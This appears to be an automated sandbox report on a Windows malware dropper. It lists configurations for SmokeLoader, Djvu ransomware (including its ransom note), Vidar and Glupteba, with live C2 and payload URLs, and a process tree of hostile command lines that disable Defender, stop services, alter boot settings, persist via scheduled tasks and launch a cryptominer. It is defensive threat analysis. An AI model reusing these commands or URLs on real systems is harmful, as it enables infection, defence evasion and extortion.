Resubmissions

22-08-2024 15:33

240822-sy6bqsvbng 7

10-03-2024 16:21

240310-ttpc4aga89 10

10-03-2024 12:34

240310-prvpwacf93 10

Analysis

  • max time kernel
    331s
  • max time network
    705s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10-03-2024 16:21

General

  • Target

    file.exe

  • Size

    2.4MB

  • MD5

    b11c3fad2e48022f58635df7368d6441

  • SHA1

    63883fee892ac1e0d44f568913931c0d59b343d1

  • SHA256

    2a362d6d3bceaf1159bc245499a778f1ab9c229c3cbd4be4c63a582a716a4c80

  • SHA512

    6c68523b259c307e1c4ff4c6809fb20e5d9d9998a32d03ca06eaf29ec8f27bcaca2cafd9b57420b307160b3ebfeac16d234b99f6119f8f3038f4b5bf4b169023

  • SSDEEP

    49152:jCqqfqaaK++EFUw2PsQMIZnLzn8FGaqxMBeVBBzKl:jONGXqGY1y

Malware Config

Extracted

Family

smokeloader

Botnet

pub1

Extracted

Family

smokeloader

Version

2022

C2

http://trad-einmyus.com/index.php

http://tradein-myus.com/index.php

http://trade-inmyus.com/index.php

rc4.i32
rc4.i32

Extracted

Family

djvu

C2

http://sajdfue.com/test1/get.php

Attributes
  • extension

    .wisz

  • offline_id

    4p0Nzrg1q0ND5of5Gtp2UBjthSXuE8VxnMrd4vt1

  • payload_url

    http://sdfjhuz.com/dl/build2.exe

    http://sajdfue.com/files/1/build3.exe

  • ransomnote

    ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. Do not ask assistants from youtube and recovery data sites for help in recovering your data. They can use your free decryption quota and scam you. Our contact is emails in this text document only. You can get and look video overview decrypt tool: https://wetransfer.com/downloads/a832401adcd58098c699f768ffea4f1720240305114308/7e601a Price of private key and decrypt software is $999. Discount 50% available if you contact us first 72 hours, that's price for you is $499. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0853PsawqS

rsa_pubkey.plain

Extracted

Family

vidar

Version

8.1

Botnet

e2da5861d01d391b927839bbec00e666

C2

https://steamcommunity.com/profiles/76561199649267298

https://t.me/uprizin

Attributes
  • profile_id_v2

    e2da5861d01d391b927839bbec00e666

  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 OPR/96.0.0.0

Extracted

Family

socks5systemz

C2

http://bwxobsm.com/search/?q=67e28dd86a5ef62a130aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978a771ea771795af8e05c644db22f31df92d8b38e316a667d307eca743ec4c2b07b52966923a678ef719c0eb95

http://bwxobsm.com/search/?q=67e28dd86a5ef62a130aa5197c27d78406abdd88be4b12eab517aa5c96bd86ef928749825a8bbc896c58e713bc90c91936b5281fc235a925ed3e04d6bd974a95129070b617e96cc92be20ea778c255bbe258b90d3b4eed3233d1626a8ff810c0ef9d923bc96f

http://bmoarca.com/search/?q=67e28dd86a5ef62a130aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978a771ea771795af8e05c644db22f31df92d8b38e316a667d307eca743ec4c2b07b52966923a678ef719c0eb95

Signatures

  • DcRat 15 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Detect Socks5Systemz Payload 2 IoCs
  • Detect Vidar Stealer 4 IoCs
  • Detected Djvu ransomware 6 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 10 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socks5Systemz

    Socks5Systemz is a botnet written in C++.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs 7 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 3 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Stops running service(s) 3 TTPs
  • Drops startup file 11 IoCs
  • Executes dropped EXE 42 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Unexpected DNS network traffic destination 2 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Windows security modification 2 TTPs 7 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 7 IoCs
  • Launches sc.exe 34 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • NSIS installer 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 8 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2528
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      2⤵
      • DcRat
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1260
      • C:\Users\Admin\Pictures\Hz5DKFVHt5wmDrYd00peGwos.exe
        "C:\Users\Admin\Pictures\Hz5DKFVHt5wmDrYd00peGwos.exe"
        3⤵
        • Executes dropped EXE
        • Checks SCSI registry key(s)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        PID:1744
      • C:\Users\Admin\Pictures\DUxkNmj5MiGf8BNoRKpbAk7D.exe
        "C:\Users\Admin\Pictures\DUxkNmj5MiGf8BNoRKpbAk7D.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2884
        • C:\Users\Admin\AppData\Local\Temp\is-G37C5.tmp\DUxkNmj5MiGf8BNoRKpbAk7D.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-G37C5.tmp\DUxkNmj5MiGf8BNoRKpbAk7D.tmp" /SL5="$5015A,1697450,56832,C:\Users\Admin\Pictures\DUxkNmj5MiGf8BNoRKpbAk7D.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:3008
          • C:\Users\Admin\AppData\Local\BABY-Clock\babyclock.exe
            "C:\Users\Admin\AppData\Local\BABY-Clock\babyclock.exe" -i
            5⤵
            • Executes dropped EXE
            PID:2304
          • C:\Users\Admin\AppData\Local\BABY-Clock\babyclock.exe
            "C:\Users\Admin\AppData\Local\BABY-Clock\babyclock.exe" -s
            5⤵
            • Executes dropped EXE
            PID:448
      • C:\Users\Admin\Pictures\BHyvkIgo1eAG39KMFmpK1JKB.exe
        "C:\Users\Admin\Pictures\BHyvkIgo1eAG39KMFmpK1JKB.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1972
        • C:\Users\Admin\Pictures\BHyvkIgo1eAG39KMFmpK1JKB.exe
          "C:\Users\Admin\Pictures\BHyvkIgo1eAG39KMFmpK1JKB.exe"
          4⤵
          • DcRat
          • Windows security bypass
          • Executes dropped EXE
          • Loads dropped DLL
          • Windows security modification
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:832
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1336
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              • Modifies data under HKEY_USERS
              PID:2924
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe
            5⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Adds Run key to start application
            • Manipulates WinMon driver.
            • Manipulates WinMonFS driver.
            • Drops file in Windows directory
            • Modifies system certificate store
            • Suspicious use of AdjustPrivilegeToken
            PID:2064
            • C:\Windows\system32\schtasks.exe
              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
              6⤵
              • DcRat
              • Creates scheduled task(s)
              PID:316
            • C:\Windows\system32\schtasks.exe
              schtasks /delete /tn ScheduledUpdate /f
              6⤵
                PID:1780
              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Modifies system certificate store
                PID:1956
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2596
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1396
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1948
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:3020
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2332
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2128
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2280
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2540
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2120
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2408
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:888
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -timeout 0
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2932
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2652
              • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                6⤵
                • Executes dropped EXE
                PID:1248
              • C:\Windows\system32\bcdedit.exe
                C:\Windows\Sysnative\bcdedit.exe /v
                6⤵
                • Modifies boot configuration data using bcdedit
                PID:2132
              • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                6⤵
                • Executes dropped EXE
                PID:2012
              • C:\Windows\system32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                6⤵
                • DcRat
                • Creates scheduled task(s)
                PID:1540
              • C:\Windows\windefender.exe
                "C:\Windows\windefender.exe"
                6⤵
                • Executes dropped EXE
                PID:1756
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                  7⤵
                    PID:2868
                    • C:\Windows\SysWOW64\sc.exe
                      sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                      8⤵
                      • Launches sc.exe
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1892
                • C:\Windows\system32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                  6⤵
                  • DcRat
                  • Creates scheduled task(s)
                  PID:2680
                • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
                  C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=ahrievohz2aiv7Ee -m=https://cdn.discordapp.com/attachments/1210289102486904905/1211762574903877723/FyjjCEEagid?ex=65ef60d7&is=65dcebd7&hm=7d9a74bd2093b634718d663ba89134d88a58fd63129fa37453f5146146e9fc4c& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
                  6⤵
                    PID:2812
                    • C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
                      C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 234c6d18-3256-488e-b465-c4f656ececdc --tls --nicehash -o showlock.net:443 --rig-id 234c6d18-3256-488e-b465-c4f656ececdc --tls --nicehash -o showlock.net:80 --rig-id 234c6d18-3256-488e-b465-c4f656ececdc --nicehash --http-port 3433 --http-access-token 234c6d18-3256-488e-b465-c4f656ececdc --randomx-wrmsr=-1
                      7⤵
                        PID:1960
                      • C:\Windows\rss\csrss.exe
                        C:\Windows\rss\csrss.exe -hide 1960
                        7⤵
                          PID:1560
                      • C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                        C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                        6⤵
                          PID:2492
                        • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                          C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                          6⤵
                            PID:1968
                          • C:\Windows\system32\schtasks.exe
                            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                            6⤵
                            • DcRat
                            • Creates scheduled task(s)
                            PID:604
                    • C:\Users\Admin\Pictures\ua7PBRa40qlB8cRQTFxvJuWK.exe
                      "C:\Users\Admin\Pictures\ua7PBRa40qlB8cRQTFxvJuWK.exe"
                      3⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:1108
                      • C:\Users\Admin\AppData\Local\Temp\syncUpd.exe
                        C:\Users\Admin\AppData\Local\Temp\syncUpd.exe
                        4⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Checks processor information in registry
                        PID:992
                      • C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
                        C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
                        4⤵
                        • Executes dropped EXE
                        • Suspicious use of SetWindowsHookEx
                        PID:2656
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
                          5⤵
                            PID:3040
                            • C:\Windows\SysWOW64\chcp.com
                              chcp 1251
                              6⤵
                                PID:2524
                              • C:\Windows\SysWOW64\schtasks.exe
                                schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
                                6⤵
                                • DcRat
                                • Creates scheduled task(s)
                                PID:2856
                        • C:\Users\Admin\Pictures\PHZUeKsym6c4ao1N4lAzfMjT.exe
                          "C:\Users\Admin\Pictures\PHZUeKsym6c4ao1N4lAzfMjT.exe"
                          3⤵
                          • Drops file in Drivers directory
                          • Executes dropped EXE
                          • Drops file in System32 directory
                          PID:2236
                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                            C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                            4⤵
                            • Drops file in System32 directory
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1636
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                            4⤵
                              PID:2312
                              • C:\Windows\system32\wusa.exe
                                wusa /uninstall /kb:890830 /quiet /norestart
                                5⤵
                                • Drops file in Windows directory
                                PID:1052
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe stop UsoSvc
                              4⤵
                              • Launches sc.exe
                              PID:1152
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe stop WaaSMedicSvc
                              4⤵
                              • Launches sc.exe
                              PID:2400
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe stop wuauserv
                              4⤵
                              • Launches sc.exe
                              PID:1784
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe stop bits
                              4⤵
                              • Launches sc.exe
                              PID:2084
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe stop dosvc
                              4⤵
                              • Launches sc.exe
                              PID:2208
                            • C:\Windows\system32\powercfg.exe
                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:336
                            • C:\Windows\system32\powercfg.exe
                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1716
                            • C:\Windows\system32\powercfg.exe
                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:656
                            • C:\Windows\system32\powercfg.exe
                              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2408
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
                              4⤵
                              • Launches sc.exe
                              PID:2044
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
                              4⤵
                              • Launches sc.exe
                              PID:2636
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe stop eventlog
                              4⤵
                              • Launches sc.exe
                              PID:2032
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                              4⤵
                              • Launches sc.exe
                              PID:2900
                          • C:\Users\Admin\Pictures\GHuvLZsqsmCMoGgf6n6VLvxo.exe
                            "C:\Users\Admin\Pictures\GHuvLZsqsmCMoGgf6n6VLvxo.exe"
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:1892
                            • C:\Users\Admin\AppData\Local\Temp\syncUpd.exe
                              C:\Users\Admin\AppData\Local\Temp\syncUpd.exe
                              4⤵
                              • Executes dropped EXE
                              PID:1624
                            • C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
                              C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
                              4⤵
                                PID:2904
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
                                  5⤵
                                    PID:2236
                                    • C:\Windows\SysWOW64\chcp.com
                                      chcp 1251
                                      6⤵
                                        PID:3016
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
                                        6⤵
                                        • DcRat
                                        • Creates scheduled task(s)
                                        PID:2216
                                • C:\Users\Admin\Pictures\RuIUvkS8wVfymaAK7lF9BY8u.exe
                                  "C:\Users\Admin\Pictures\RuIUvkS8wVfymaAK7lF9BY8u.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Checks SCSI registry key(s)
                                  • Suspicious behavior: MapViewOfSection
                                  PID:336
                                • C:\Users\Admin\Pictures\wz8VvURJ6HobiJci3zt7FzSf.exe
                                  "C:\Users\Admin\Pictures\wz8VvURJ6HobiJci3zt7FzSf.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  PID:2224
                                  • C:\Users\Admin\AppData\Local\Temp\is-5PL38.tmp\wz8VvURJ6HobiJci3zt7FzSf.tmp
                                    "C:\Users\Admin\AppData\Local\Temp\is-5PL38.tmp\wz8VvURJ6HobiJci3zt7FzSf.tmp" /SL5="$60178,1697450,56832,C:\Users\Admin\Pictures\wz8VvURJ6HobiJci3zt7FzSf.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Suspicious use of FindShellTrayWindow
                                    PID:1644
                                    • C:\Users\Admin\AppData\Local\BABY-Clock\babyclock.exe
                                      "C:\Users\Admin\AppData\Local\BABY-Clock\babyclock.exe" -i
                                      5⤵
                                        PID:3064
                                      • C:\Users\Admin\AppData\Local\BABY-Clock\babyclock.exe
                                        "C:\Users\Admin\AppData\Local\BABY-Clock\babyclock.exe" -s
                                        5⤵
                                          PID:412
                                    • C:\Users\Admin\Pictures\FusMm6h3ZIYvS3H6ML4oKi29.exe
                                      "C:\Users\Admin\Pictures\FusMm6h3ZIYvS3H6ML4oKi29.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      PID:1000
                                      • C:\Users\Admin\Pictures\FusMm6h3ZIYvS3H6ML4oKi29.exe
                                        "C:\Users\Admin\Pictures\FusMm6h3ZIYvS3H6ML4oKi29.exe"
                                        4⤵
                                          PID:2032
                                      • C:\Users\Admin\Pictures\ZKgWpaIq4ixsfKfSjBJZNp2s.exe
                                        "C:\Users\Admin\Pictures\ZKgWpaIq4ixsfKfSjBJZNp2s.exe"
                                        3⤵
                                          PID:2192
                                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                            C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                            4⤵
                                              PID:2340
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                              4⤵
                                                PID:2488
                                                • C:\Windows\system32\wusa.exe
                                                  wusa /uninstall /kb:890830 /quiet /norestart
                                                  5⤵
                                                    PID:2996
                                                • C:\Windows\system32\sc.exe
                                                  C:\Windows\system32\sc.exe stop UsoSvc
                                                  4⤵
                                                  • Launches sc.exe
                                                  PID:1200
                                                • C:\Windows\system32\sc.exe
                                                  C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                  4⤵
                                                  • Launches sc.exe
                                                  PID:2532
                                                • C:\Windows\system32\sc.exe
                                                  C:\Windows\system32\sc.exe stop wuauserv
                                                  4⤵
                                                  • Launches sc.exe
                                                  PID:1872
                                                • C:\Windows\system32\sc.exe
                                                  C:\Windows\system32\sc.exe stop bits
                                                  4⤵
                                                  • Launches sc.exe
                                                  PID:2144
                                                • C:\Windows\system32\sc.exe
                                                  C:\Windows\system32\sc.exe stop dosvc
                                                  4⤵
                                                  • Launches sc.exe
                                                  PID:3012
                                                • C:\Windows\system32\powercfg.exe
                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                  4⤵
                                                    PID:1252
                                                  • C:\Windows\system32\powercfg.exe
                                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                    4⤵
                                                      PID:1416
                                                    • C:\Windows\system32\powercfg.exe
                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                      4⤵
                                                        PID:1568
                                                      • C:\Windows\system32\powercfg.exe
                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                        4⤵
                                                          PID:1668
                                                        • C:\Windows\system32\sc.exe
                                                          C:\Windows\system32\sc.exe stop eventlog
                                                          4⤵
                                                          • Launches sc.exe
                                                          PID:1928
                                                        • C:\Windows\system32\sc.exe
                                                          C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                                                          4⤵
                                                          • Launches sc.exe
                                                          PID:1864
                                                      • C:\Users\Admin\Pictures\MWZ0UpCReh4UDpqFe8lrwVHo.exe
                                                        "C:\Users\Admin\Pictures\MWZ0UpCReh4UDpqFe8lrwVHo.exe"
                                                        3⤵
                                                          PID:2348
                                                          • C:\Users\Admin\AppData\Local\Temp\is-6RKA3.tmp\MWZ0UpCReh4UDpqFe8lrwVHo.tmp
                                                            "C:\Users\Admin\AppData\Local\Temp\is-6RKA3.tmp\MWZ0UpCReh4UDpqFe8lrwVHo.tmp" /SL5="$60210,1697450,56832,C:\Users\Admin\Pictures\MWZ0UpCReh4UDpqFe8lrwVHo.exe"
                                                            4⤵
                                                              PID:2720
                                                          • C:\Users\Admin\Pictures\Jp275Dhuhpnf32gtIbZFsj8s.exe
                                                            "C:\Users\Admin\Pictures\Jp275Dhuhpnf32gtIbZFsj8s.exe"
                                                            3⤵
                                                              PID:1064
